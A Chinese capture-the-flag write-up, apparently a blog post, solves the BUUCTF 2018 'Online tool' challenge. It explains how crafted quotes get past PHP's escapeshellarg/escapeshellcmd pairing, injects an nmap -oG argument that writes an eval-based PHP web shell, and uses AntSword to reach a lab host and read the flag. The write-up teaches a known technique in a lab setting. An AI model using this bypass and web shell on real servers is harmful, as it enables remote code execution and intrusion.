Buuctf2018 Online tool

代码审计

传参hostsystem函数执行npm命令
疑似利用链

发现陌生函数,可能起到过滤作用
escapeshellarg,escapeshellcmd
查询PHP manual

在这里插入图片描述在这里插入图片描述

Payload构造

双引号被视为字符串,在cmd,shell命令中不会被视为参数,单引号可以注入参数,但是会被arg转义
我们希望构造如下payload,但是如果直接传入的话会被认为字符串,无法识别参数
<?php eval($_POST["a"]);?> -oG test.php ➡️​ '<?php eval($_POST["a"]);?> -oG test.php'

为了注入我们只能使用单引号,但由于单引号会被转义所以我们必须想办法绕过。

假设Payload传入'127'01' ,则arg将其过滤为''\''127'\''01'\'''(最外部的单引号是字符串结构,双引号强字符串Maybe)
➡️​ arg在将单引号转义后会将转义部分用单引号括起
➡️​ 注意在'被转义后就不在是字符串结构而是代表单引号

于是构造Payload'<?php eval($_POST["a"]);?> -oG test.php '
最后面的空格是为了避免单引号被转义后经过cmd处理文件后缀名变为php\
前面的空格可加可不加

过程

在这里插入图片描述
蚁剑连接urlhttp://192.168.163.128:9001/f174876655c13ffd3129177e7aeb279d/test.php

成功连接读取根目录下\flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值